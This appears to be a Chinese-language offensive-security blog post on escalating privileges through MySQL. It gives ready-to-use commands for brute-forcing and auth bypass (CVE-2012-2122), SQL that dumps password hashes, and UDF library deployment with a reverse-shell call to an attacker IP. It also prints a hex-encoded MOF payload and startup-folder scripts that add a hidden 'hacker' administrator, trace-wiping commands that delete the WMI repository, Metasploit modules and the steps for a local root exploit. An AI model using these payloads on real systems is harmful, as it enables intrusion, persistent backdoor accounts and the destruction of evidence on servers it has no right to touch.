返回
Featured image of post MySQL 提权

MySQL 提权

go!

MySQL提权

MySQL权限获取

数据库操作权限

获取数据库操作权限的方法一般有以下几种:

  • 3306端口爆破
  • 从网站的数据库配置文件获取明文密码
  • sqlmap工具的 –os-shell
  • 基于已知漏洞获取权限

基于注入获取的webshell权限

通过SQL注入写文件以getshell。

  • into outfile写文件
  • general_log写文件

具体原理和细节参见MySQL注入写shell一文。

Hash破解

在有SQL注入情况的情况下,依靠注入查询MySQL用户密码Hash,再进行解密:

# MySQL<=5.6
select host, user, password from mysql.user;

# MySQL>=5.7
select host,user,authentication_string from mysql.user;

随后可用在线网站解密。

已知漏洞利用

yaSSL缓冲区溢出

MSF利用:

msf6 > use exploit/windows/mysql/mysql_yassl_hello
msf6 > use exploit/linux/mysql/mysql_yassl_hello

CVE-2012-2122

在知道用户名情况下,多次输入错误的密码(大约每256一次就可蒙对)会有几率可以直接成功登陆进数据库。

影响范围:

所有MariaDB和MySQL的5.1.61、5.2.11、5.3.5、5.5.22以下版本都存在漏洞。

从5.1.62, 5.2.12, 5.3.6, 5.5.23开始的MariaDB版本不受影响。

从5.1.63, 5.5.24, 5.6.6开始的MySQL版本不受影响。

利用:

# Linux shell

for i in `seq 1 1000`; do mysql -uroot -pwrong -h 127.0.0.1 ; done
# MSF模块

msf6 > use auxiliary/scanner/mysql/mysql_authbypass_hashdump

利用之后可dump出MySQL的hash,再进行破解。

UDF提权

UDF(user-defined function)是MySQL的一个扩展接口,用户可通过自定义函数来扩展MySQL功能,其新加入的功能函数可以直接在SQL语句中调用,类似调用user()、version()等函数一样。

手动实现

动态链接库

当MySQL>=5.1时,必须将UDF的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。

  • sqlmap中的动态链接库
sqlmap根目录/data/udf/

sqlmap中的动态链接库文件是经过编码处理以防止误杀的,不能直接用,可使用自带的解码工具cloak.py进行解码:

# cloak.py所在目录
sqlmap根目录/extra/cloak/cloak.py

# 解码Linux 64位 的动态链接库
python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o udf.so
  • msf中的动态链接库
msf根目录/data/exploits/mysql

插件目录

show variables like '%plugin%';

注:

在Windows下当不存在插件目录时,找到安装目录,可以借助NTFS流创建该文件夹(成功率不高):

select xxx into dumpfile 'C:\\PhpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$index_allocation';

找MySQL安装目录:

mysql> select @@basedir;

写入动态链接库

前提:

  • 存在SQL注入或可操作原生SQL语句
  • 用户有file_priv权限
  • secure_file_priv 无限制
  • 插件目录对于MySQL用户可写

使用sqlmap上传动态链接库:

sqlmap -u "http://127.0.0.1/" --data="id=1" --file-write="/path/to/lib_mysqludf_sys_64.so" --file-dest="/usr/lib/mysql/plugin/udf.so"

手工写入:

# 直接十六进制写入
select 0x..... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

# 本地执行SQL语句,直接传路径获取动态链接库的十六进制
SELECT hex(load_file('/lib_mysqludf_sys_64.so'));

# 本地执行SQL语句,路径hex编码获取动态链接库的十六进制
SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f));

创建函数-执行命令

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
select sys_eval('whoami');

所获得的权限最终如何仍需要看运行MySQL服务的权限,以什么样的权限运行MySQL服务,获取到的就是相应的权限

清理痕迹

drop function sys_eval;

msf自动化实现

msf6 > exploit(multi/mysql/mysql_udf_payload) 

UDF shell

当目标 MySQL 在内网中,无法直连 MySQL 或者 MySQL 不允许外连,这个时候可以上传一些脚本,通过脚本进行本地连接和操作。

UDF大马

可上传UDF命令执行大马:https://github.com/echohun/tools/blob/master/大马/udf.php

目标MySQL不允许外连,可以上传navicat自带的 tunnel 隧道脚本:

接着使用navicat连接,设置HTTP通道:

成功连接后手动实现UDF提权就可。

反弹端口提权

UDF提权的另一种用法,所使用的动态链接库是经定制过的,功能更多更加使用:

cmdshell        # 执行cmd
downloader      # 下载者,到网上下载指定文件并保存到指定目录
open3389        # 通用开3389终端服务,可指定端口(不改端口无需重启)
backshell       # 反弹Shell
ProcessView     # 枚举系统进程
KillProcess     # 终止指定进程
regread         # 读注册表
regwrite        # 写注册表
shut            # 关机,注销,重启
about           # 说明与帮助函数

在攻击机器上开启NC监听,向目标机器上导入dll,然后创建自定义函数:

CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';

反弹shell:

select backshell("IP", 7777);

MOF提权

该漏洞比较有历史,基本在Windows Server 2003 的环境下才可以成功。

原理

提权的原理是 C:/Windows/system32/wbem/mof/ 目录下的 mof 文件每隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 以执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。

手工实现

mof文件

#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")"; 
}; 

instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
};

该payload核心部分就是创建用户并加入管理员组。

写文件

将该文件内容以hex格式写入到C:/Windows/system32/wbem/mof/ 下:

select 0x23707261676D61206E616D65737061636528225C5C5C5C2E5C5C726F6F745C5C737562736372697074696F6E2229200A0A696E7374616E6365206F66205F5F4576656E7446696C74657220617320244576656E7446696C746572200A7B200A202020204576656E744E616D657370616365203D2022526F6F745C5C43696D7632223B200A202020204E616D6520203D202266696C745032223B200A202020205175657279203D202253656C656374202A2046726F6D205F5F496E7374616E63654D6F64696669636174696F6E4576656E742022200A20202020202020202020202022576865726520546172676574496E7374616E636520497361205C2257696E33325F4C6F63616C54696D655C222022200A20202020202020202020202022416E6420546172676574496E7374616E63652E5365636F6E64203D2035223B200A2020202051756572794C616E6775616765203D202257514C223B200A7D3B200A0A696E7374616E6365206F66204163746976655363726970744576656E74436F6E73756D65722061732024436F6E73756D6572200A7B200A202020204E616D65203D2022636F6E735043535632223B200A20202020536372697074696E67456E67696E65203D20224A536372697074223B200A2020202053637269707454657874203D200A2276617220575348203D206E657720416374697665584F626A656374285C22575363726970742E5368656C6C5C22295C6E5753482E72756E285C226E65742E6578652075736572206861636B6572205040737377307264202F6164645C22295C6E5753482E72756E285C226E65742E657865206C6F63616C67726F75702061646D696E6973747261746F7273206861636B6572202F6164645C2229223B200A7D3B200A0A696E7374616E6365206F66205F5F46696C746572546F436F6E73756D657242696E64696E67200A7B200A20202020436F6E73756D65722020203D2024436F6E73756D65723B200A2020202046696C746572203D20244576656E7446696C7465723B200A7D3B0A into dumpfile "C:/windows/system32/wbem/mof/test.mof";

执行成功的的时候,test.mof 会出现在:c:/windows/system32/wbem/good/ 目录下,否则出现在 c:/windows/system32/wbem/bad 目录下。

痕迹清理

写入后每隔几分钟时间又会重新执行添加用户的命令,所以想要清理痕迹得先暂时关闭 winmgmt 服务再删除相关 mof 文件,这个时候再删除用户才会有效果:

# 停止 winmgmt 服务
net stop winmgmt

# 删除 Repository 文件夹
rmdir /s /q C:\Windows\system32\wbem\Repository\

# 手动删除 mof 文件
del C:\Windows\system32\wbem\mof\good\test.mof /F /S

# 删除创建的用户
net user hacker /delete

# 重新启动服务
net start winmgmt

msf自动化实现

MSF自带MOF提权模块,也自带痕迹清理功能:

msf6 > use exploit/windows/mysql/mysql_mof

启动项提权

常见于 Windows 环境下,当 Windows 的启动项可以被 MySQL 写入的时候,可以使用 MySQL 将自定义脚本导入到启动项中,这个脚本会在用户登录、开机、关机的时候自动运行。

启动项路径

  • Windows Server 2003的启动项路径
# 中文系统
C:\Documents and Settings\Administrator\「开始」菜单\程序\启动
C:\Documents and Settings\All Users\「开始」菜单\程序\启动

# 英文系统
C:\Documents and Settings\Administrator\Start Menu\Programs\Startup
C:\Documents and Settings\All Users\Start Menu\Programs\Startup

# 开关机项 需要手动建立对应文件夹
C:\WINDOWS\system32\GroupPolicy\Machine\Scripts\Startup
C:\WINDOWS\system32\GroupPolicy\Machine\Scripts\Shutdown

  • Windows Server 2008 的启动项路径
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

路径已知的话即可写入脚本,支持vbs和exe类型,可以vbs执行一些CMD命令,也可以用exe上线MSF或CS

Set WshShell=WScript.CreateObject("WScript.Shell")
WshShell.Run "net user hacker P@ssw0rd /add", 0
WshShell.Run "net localgroup administrators hacker /add", 0

写入启动项

mysql > select 0x... into dumpfile "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\test.vbs";

写入成功后,等待系统用户重新登录,登录成功的话,自定义脚本就会被执行。

msf自动化实现

msf6 > use exploit/windows/mysql/mysql_start_up

CVE-2016-6663

这是一个竞争条件漏洞,一个拥有 CREATE/INSERT/SELECT 权限的低权限账户提权成功后可以mysql系统用户身份执行代码。

exp参考链接:https://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html

影响范围

MySQL 版本需要 <=5.5.51 或 5.6.x <=5.6.32 或 5.7.x <=5.7.14 或 8.x < 8.0.1

MariaDB 版本需要 <= 5.5.51 或 10.0.x <= 10.0.27 或 10.1.x <= 10.1.17

利用

  • 先Getshell拿到www-data权限
  • 通过webshell管理工具上传CVE-2016-6663的exp
  • 在交互式shell中编译该exp
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
  • 执行
# ./mysql-privesc-race 数据库用户名 密码 数据库地址 数据库
./mysql-privesc-race test 123456 localhost test

最终可提权为mysql用户。

可配合CVE-2016-6664提升为root用户。

参见:https://xz.aliyun.com/t/1122

参考:

https://xz.aliyun.com/t/1122

https://www.sqlsec.com/2020/11/mysql.html

Licensed under CC BY-NC-SA 4.0
Built with Hugo
Theme Stack designed by Jimmy